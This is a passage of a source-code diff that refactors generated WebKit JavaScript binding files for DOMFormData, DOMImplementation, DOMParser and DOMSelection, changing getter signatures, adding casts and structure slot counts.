+#define JSDOMFormData_h
+
+#include "JSDOMBinding.h"
+#include <runtime/JSGlobalObject.h>
+#include <runtime/ObjectPrototype.h>
+
+namespace WebCore {
+
+class DOMFormData;
+
+class JSDOMFormData : public DOMObjectWithGlobalPointer {
+    typedef DOMObjectWithGlobalPointer Base;
+public:
+    JSDOMFormData(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<DOMFormData>);
+    virtual ~JSDOMFormData();
+    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+
+    static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
+
+    // Custom functions
+    JSC::JSValue append(JSC::ExecState*, const JSC::ArgList&);
+    DOMFormData* impl() const { return m_impl.get(); }
+
+private:
+    RefPtr<DOMFormData> m_impl;
+protected:
+    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
+};
+
+JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, DOMFormData*);
+DOMFormData* toDOMFormData(JSC::JSValue);
+
+class JSDOMFormDataPrototype : public JSC::JSObject {
+    typedef JSC::JSObject Base;
+public:
+    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+    JSDOMFormDataPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
+protected:
+    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
+};
+
+// Functions
+
+JSC::JSValue JSC_HOST_CALL jsDOMFormDataPrototypeFunctionAppend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
+// Attributes
+
+JSC::JSValue jsDOMFormDataConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+
+} // namespace WebCore
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.cpp b/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.cpp
index 268647b..5dcd137 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.cpp
@@ -44,7 +44,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSDOMImplementation);
 
 static const HashTableValue JSDOMImplementationTableValues[2] =
 {
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDOMImplementationConstructor, (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMImplementationConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -83,7 +83,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -106,11 +106,11 @@ bool JSDOMImplementationConstructor::getOwnPropertyDescriptor(ExecState* exec, c
 
 static const HashTableValue JSDOMImplementationPrototypeTableValues[6] =
 {
-    { "hasFeature", DontDelete|Function, (intptr_t)jsDOMImplementationPrototypeFunctionHasFeature, (intptr_t)2 },
-    { "createDocumentType", DontDelete|Function, (intptr_t)jsDOMImplementationPrototypeFunctionCreateDocumentType, (intptr_t)3 },
-    { "createDocument", DontDelete|Function, (intptr_t)jsDOMImplementationPrototypeFunctionCreateDocument, (intptr_t)3 },
-    { "createCSSStyleSheet", DontDelete|Function, (intptr_t)jsDOMImplementationPrototypeFunctionCreateCSSStyleSheet, (intptr_t)2 },
-    { "createHTMLDocument", DontDelete|Function, (intptr_t)jsDOMImplementationPrototypeFunctionCreateHTMLDocument, (intptr_t)1 },
+    { "hasFeature", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMImplementationPrototypeFunctionHasFeature), (intptr_t)2 },
+    { "createDocumentType", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMImplementationPrototypeFunctionCreateDocumentType), (intptr_t)3 },
+    { "createDocument", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMImplementationPrototypeFunctionCreateDocument), (intptr_t)3 },
+    { "createCSSStyleSheet", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMImplementationPrototypeFunctionCreateCSSStyleSheet), (intptr_t)2 },
+    { "createHTMLDocument", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMImplementationPrototypeFunctionCreateHTMLDocument), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -166,9 +166,9 @@ bool JSDOMImplementation::getOwnPropertyDescriptor(ExecState* exec, const Identi
     return getStaticValueDescriptor<JSDOMImplementation, Base>(exec, &JSDOMImplementationTable, this, propertyName, descriptor);
 }
 
-JSValue jsDOMImplementationConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMImplementationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMImplementation* domObject = static_cast<JSDOMImplementation*>(asObject(slot.slotBase()));
+    JSDOMImplementation* domObject = static_cast<JSDOMImplementation*>(asObject(slotBase));
     return JSDOMImplementation::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSDOMImplementation::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.h b/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.h
index 8dc907f..873fb15 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMImplementation.h
@@ -21,7 +21,6 @@
 #ifndef JSDOMImplementation_h
 #define JSDOMImplementation_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -68,7 +67,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDOMImplementationPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -84,7 +83,7 @@ JSC::JSValue JSC_HOST_CALL jsDOMImplementationPrototypeFunctionCreateCSSStyleShe
 JSC::JSValue JSC_HOST_CALL jsDOMImplementationPrototypeFunctionCreateHTMLDocument(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDOMImplementationConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMImplementationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMParser.cpp b/src/3rdparty/webkit/WebCore/generated/JSDOMParser.cpp
index ecd336a..71b1003 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMParser.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMParser.cpp
@@ -38,7 +38,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSDOMParser);
 
 static const HashTableValue JSDOMParserTableValues[2] =
 {
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDOMParserConstructor, (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMParserConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -77,7 +77,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -109,7 +109,7 @@ bool JSDOMParserConstructor::getOwnPropertyDescriptor(ExecState* exec, const Ide
 
 static const HashTableValue JSDOMParserPrototypeTableValues[2] =
 {
-    { "parseFromString", DontDelete|Function, (intptr_t)jsDOMParserPrototypeFunctionParseFromString, (intptr_t)2 },
+    { "parseFromString", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMParserPrototypeFunctionParseFromString), (intptr_t)2 },
     { 0, 0, 0, 0 }
 };
 
@@ -165,9 +165,9 @@ bool JSDOMParser::getOwnPropertyDescriptor(ExecState* exec, const Identifier& pr
     return getStaticValueDescriptor<JSDOMParser, Base>(exec, &JSDOMParserTable, this, propertyName, descriptor);
 }
 
-JSValue jsDOMParserConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMParserConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMParser* domObject = static_cast<JSDOMParser*>(asObject(slot.slotBase()));
+    JSDOMParser* domObject = static_cast<JSDOMParser*>(asObject(slotBase));
     return JSDOMParser::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSDOMParser::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMParser.h b/src/3rdparty/webkit/WebCore/generated/JSDOMParser.h
index 8788ff2..5b6ac12 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMParser.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMParser.h
@@ -21,7 +21,6 @@
 #ifndef JSDOMParser_h
 #define JSDOMParser_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -68,7 +67,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDOMParserPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -80,7 +79,7 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsDOMParserPrototypeFunctionParseFromString(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDOMParserConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMParserConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.cpp b/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.cpp
index e3a69b0..5958ca4 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.cpp
@@ -42,17 +42,17 @@ ASSERT_CLASS_FITS_IN_CELL(JSDOMSelection);
 
 static const HashTableValue JSDOMSelectionTableValues[12] =
 {
-    { "anchorNode", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionAnchorNode, (intptr_t)0 },
-    { "anchorOffset", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionAnchorOffset, (intptr_t)0 },
-    { "focusNode", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionFocusNode, (intptr_t)0 },
-    { "focusOffset", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionFocusOffset, (intptr_t)0 },
-    { "isCollapsed", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionIsCollapsed, (intptr_t)0 },
-    { "rangeCount", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionRangeCount, (intptr_t)0 },
-    { "baseNode", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionBaseNode, (intptr_t)0 },
-    { "baseOffset", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionBaseOffset, (intptr_t)0 },
-    { "extentNode", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionExtentNode, (intptr_t)0 },
-    { "extentOffset", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionExtentOffset, (intptr_t)0 },
-    { "type", DontDelete|ReadOnly, (intptr_t)jsDOMSelectionType, (intptr_t)0 },
+    { "anchorNode", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionAnchorNode), (intptr_t)0 },
+    { "anchorOffset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionAnchorOffset), (intptr_t)0 },
+    { "focusNode", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionFocusNode), (intptr_t)0 },
+    { "focusOffset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionFocusOffset), (intptr_t)0 },
+    { "isCollapsed", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionIsCollapsed), (intptr_t)0 },
+    { "rangeCount", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionRangeCount), (intptr_t)0 },
+    { "baseNode", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionBaseNode), (intptr_t)0 },
+    { "baseOffset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionBaseOffset), (intptr_t)0 },
+    { "extentNode", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionExtentNode), (intptr_t)0 },
+    { "extentOffset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionExtentOffset), (intptr_t)0 },
+    { "type", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMSelectionType), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -67,21 +67,21 @@ static JSC_CONST_HASHTABLE HashTable JSDOMSelectionTable =
 
 static const HashTableValue JSDOMSelectionPrototypeTableValues[16] =
 {
-    { "collapse", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionCollapse, (intptr_t)2 },
-    { "collapseToEnd", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionCollapseToEnd, (intptr_t)0 },
-    { "collapseToStart", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionCollapseToStart, (intptr_t)0 },
-    { "deleteFromDocument", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionDeleteFromDocument, (intptr_t)0 },
-    { "containsNode", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionContainsNode, (intptr_t)2 },
-    { "selectAllChildren", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionSelectAllChildren, (intptr_t)1 },
-    { "extend", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionExtend, (intptr_t)2 },
-    { "getRangeAt", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionGetRangeAt, (intptr_t)1 },
-    { "removeAllRanges", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionRemoveAllRanges, (intptr_t)0 },
-    { "addRange", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionAddRange, (intptr_t)1 },
-    { "toString", DontDelete|DontEnum|Function, (intptr_t)jsDOMSelectionPrototypeFunctionToString, (intptr_t)0 },
-    { "modify", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionModify, (intptr_t)3 },
-    { "setBaseAndExtent", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionSetBaseAndExtent, (intptr_t)4 },
-    { "setPosition", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionSetPosition, (intptr_t)2 },
-    { "empty", DontDelete|Function, (intptr_t)jsDOMSelectionPrototypeFunctionEmpty, (intptr_t)0 },
+    { "collapse", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionCollapse), (intptr_t)2 },
+    { "collapseToEnd", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionCollapseToEnd), (intptr_t)0 },
+    { "collapseToStart", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionCollapseToStart), (intptr_t)0 },
+    { "deleteFromDocument", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionDeleteFromDocument), (intptr_t)0 },
+    { "containsNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionContainsNode), (intptr_t)2 },
+    { "selectAllChildren", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionSelectAllChildren), (intptr_t)1 },
+    { "extend", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionExtend), (intptr_t)2 },
+    { "getRangeAt", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionGetRangeAt), (intptr_t)1 },
+    { "removeAllRanges", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionRemoveAllRanges), (intptr_t)0 },
+    { "addRange", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionAddRange), (intptr_t)1 },
+    { "toString", DontDelete|DontEnum|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionToString), (intptr_t)0 },
+    { "modify", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionModify), (intptr_t)3 },
+    { "setBaseAndExtent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionSetBaseAndExtent), (intptr_t)4 },
+    { "setPosition", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionSetPosition), (intptr_t)2 },
+    { "empty", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMSelectionPrototypeFunctionEmpty), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -137,92 +137,103 @@ bool JSDOMSelection::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSDOMSelection, Base>(exec, &JSDOMSelectionTable, this, propertyName, descriptor);
 }
 
-JSValue jsDOMSelectionAnchorNode(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionAnchorNode(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->anchorNode()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->anchorNode()));
+    return result;
 }
 
-JSValue jsDOMSelectionAnchorOffset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionAnchorOffset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return jsNumber(exec, imp->anchorOffset());
+    JSValue result = jsNumber(exec, imp->anchorOffset());
+    return result;
 }
 
-JSValue jsDOMSelectionFocusNode(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionFocusNode(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->focusNode()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->focusNode()));
+    return result;
 }
 
-JSValue jsDOMSelectionFocusOffset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionFocusOffset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return jsNumber(exec, imp->focusOffset());
+    JSValue result = jsNumber(exec, imp->focusOffset());
+    return result;
 }
 
-JSValue jsDOMSelectionIsCollapsed(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionIsCollapsed(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return jsBoolean(imp->isCollapsed());
+    JSValue result = jsBoolean(imp->isCollapsed());
+    return result;
 }
 
-JSValue jsDOMSelectionRangeCount(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionRangeCount(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return jsNumber(exec, imp->rangeCount());
+    JSValue result = jsNumber(exec, imp->rangeCount());
+    return result;
 }
 
-JSValue jsDOMSelectionBaseNode(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionBaseNode(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->baseNode()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->baseNode()));
+    return result;
 }
 
-JSValue jsDOMSelectionBaseOffset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionBaseOffset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return jsNumber(exec, imp->baseOffset());
+    JSValue result = jsNumber(exec, imp->baseOffset());
+    return result;
 }
 
-JSValue jsDOMSelectionExtentNode(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionExtentNode(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->extentNode()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->extentNode()));
+    return result;
 }
 
-JSValue jsDOMSelectionExtentOffset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionExtentOffset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return jsNumber(exec, imp->extentOffset());
+    JSValue result = jsNumber(exec, imp->extentOffset());
+    return result;
 }
 
-JSValue jsDOMSelectionType(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMSelectionType(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slot.slotBase()));
+    JSDOMSelection* castedThis = static_cast<JSDOMSelection*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMSelection* imp = static_cast<DOMSelection*>(castedThis->impl());
-    return jsString(exec, imp->type());
+    JSValue result = jsString(exec, imp->type());
+    return result;
 }
 
 JSValue JSC_HOST_CALL jsDOMSelectionPrototypeFunctionCollapse(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.h b/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.h
index 863723f..688c2a0 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMSelection.h
@@ -21,7 +21,6 @@
 #ifndef JSDOMSelection_h
 #define JSDOMSelection_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     DOMSelection* impl() const { return m_impl.get(); }
@@ -67,7 +66,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDOMSelectionPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -93,17 +92,17 @@ JSC::JSValue JSC_HOST_CALL jsDOMSelectionPrototypeFunctionSetPosition(JSC::ExecS
 JSC::JSValue JSC_HOST_CALL jsDOMSelectionPrototypeFunctionEmpty(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDOMSelectionAnchorNode(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionAnchorOffset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionFocusNode(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionFocusOffset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
